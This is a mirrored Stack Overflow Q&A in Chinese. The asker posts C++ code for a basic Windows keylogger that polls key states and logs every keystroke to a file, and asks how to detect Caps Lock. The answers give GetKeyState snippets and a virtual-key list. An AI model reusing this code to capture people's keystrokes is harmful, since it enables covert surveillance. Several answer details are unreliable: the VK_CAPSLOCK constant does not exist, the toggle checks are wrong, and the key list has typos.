【问题标题】:Check whether CAPSLOCK is on/off in C++在 C++ 中检查 CAPSLOCK 是否打开/关闭
【发布时间】:2019-11-15 07:49:19
【问题描述】:

您好,我有这段代码可以记录击键并将其保存在 dat.txt 文件中, 但它不能区分黑白大小写字母, 它写入所有大写字符,如“ABCDEFG”而不是“abcdefg”。 我需要一个代码来检查大写锁定是否打开/关闭。 然后按原样保存输出。

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
    fstream LogFile; 
    LogFile.open("dat.txt", fstream::app); 
    if (LogFile.is_open()) {
        LogFile << input; 
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key)
{
 switch (S_Key) {
  case VK_SPACE:
       LOG(" ");
       return true;
  case VK_RETURN:
       LOG("\n");
       return true;
  case VK_SHIFT:
       LOG("[SHIFT]");
       return true;
  case VK_CAPITAL:
       LOG("[CAPSLOCK]");
       return true;
  case VK_OEM_8:
       LOG("!");
       return true;
  case VK_MULTIPLY:LOG("*");
       return true;
  default:
       return false;
 }
}



int main() {
    char KEY = 'x'; 
    while (true) {
        Sleep(10); 
        for (int KEY = 0; KEY <= 255; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {    
                fstream LogFile;
                LogFile.open("dat.txt", fstream::app); 
                if (LogFile.is_open()) {
                    LogFile << char(KEY); 
                    LogFile.close();
                }
            }
        }
    }
    return 0;
}

【问题讨论】:

  • OT,但请注意,在一行中编写多个语句会使代码更难阅读、遵循、理解和维护。
  • 用调用GetKeyboardState API 函数替换该循环。虚拟键码区分大小写。您自己不需要注意 Caps Lock 键的状态,也不应该注意,因为还有其他方法可以输入大写字母。这解决了这个X-Y problem 的“Y”部分。 “X”部分的解决方案是安装一个low-level keyboard hook,这是记录/监控关键事件的正确方法。
  • 只需使用 GetKeyState。看看thisthisthis
  • @MitraM 你应该发布一个答案,除非你知道它是重复的。
  • 我已经开始重新格式化您的代码;我希望它更具可读性。

标签: c++ windows keylogger capslock


【解决方案1】:

您可以使用GetKeyState function 来检索指定virtual key 的状态。

返回值指定了指定virtual key的状态,如下: 如果高位为1,则key为down; 否则,它就起来了。如果低位为 1,则键被切换。一种 键,例如 CAPS LOCK 键,如果打开则切换。钥匙 如果低位为 0,则关闭且未切换。切换键的 键盘上的指示灯(如果有)将在按键时亮起 切换,并在取消切换键时关闭。

VK_CAPSLOCK = 0x14;

.

if(GetKeyState(VK_CAPSLOCK) < 0)
 { 
   // The CAPSLOCK IS ON 
 } 
else
 { 
  // The CAPSLOCK IS OFF 
 }

【讨论】:

    【解决方案2】:

    GetKeyState 功能让您知道按键的状态,每个键盘按钮都有自己唯一的按键编号。访问here1here2了解更多信息。

     if (GetKeyState(20)) {
     //cout << "Capslock is ON";
                          }  
    else {  
     //cout << "Capslock is OFF";
         }
    

    我正在回答我自己的问题,以帮助其他学生,就像我得到帮助一样。如果链接不起作用,请查看下面的虚拟键代码列表:

    BackSpace=8
    Tab=9      
    Return=13  
    Command=15M
    Shift=16
    Contrli=17
    Alt=18
    Pause=19
    CapsLock=20
    Escape=27
    Space=32
    PageUp=33
    PageDown=34
    End=35
    Home=36
    Left=37
    Up=38
    Right=39
    Down=40
    PrintScreen=44
    Insert=45
    Delete=46
    0=48
    1=49
    2=50
    3=51
    4=52
    5=53
    6=54
    7=55
    8=56
    9=57
    A=65
    B=66
    C=67
    D=68
    E=69
    F=70
    G=71
    H=72
    I=73
    J=74
    K=75
    L=76
    M=77
    N=78
    O=79
    P=80
    Q=81
    R=82
    S=83
    T=84
    U=85
    V=86
    W=87
    X=88
    Y=89
    Z=90
    LWin=91*
    RWin=92*
    Apps=93*
    NumPad0=96
    NumPad1=97
    NumPad2=98
    NumPad3=99
    NumPad4=100
    NumPad5=101
    NumPad6=102
    NumPad7=103
    NumPad8=104
    NumPad9=105
    Multiply=106
    Add=107
    Subtract=109
    Decimal=110
    Divide=111
    F1=112
    F2=113
    F3=114
    F4=115
    F5=116
    F6=117
    F7=118
    F8=119
    F9=120
    F10=121
    F11=122
    F12=123
    F13=124
    F14=125
    F15=126
    F16=127
    NumLock=144
    ScrlilLock=145
    LShift=160**
    RShift=161**
    LContrli=162**
    RContrli=163**
    LAlt=164**
    RAlt=165**
    SemiClion=186
    Equals=187
    Comma=188
    UnderScore=189
    Period=190
    Slash=191
    BackSlash=220
    RightBrace=221
    LeftBrace=219
    Apostrophe=222
    

    【讨论】:

      猜你喜欢
      • 2011-11-20
      • 2012-06-09
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-02-15
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多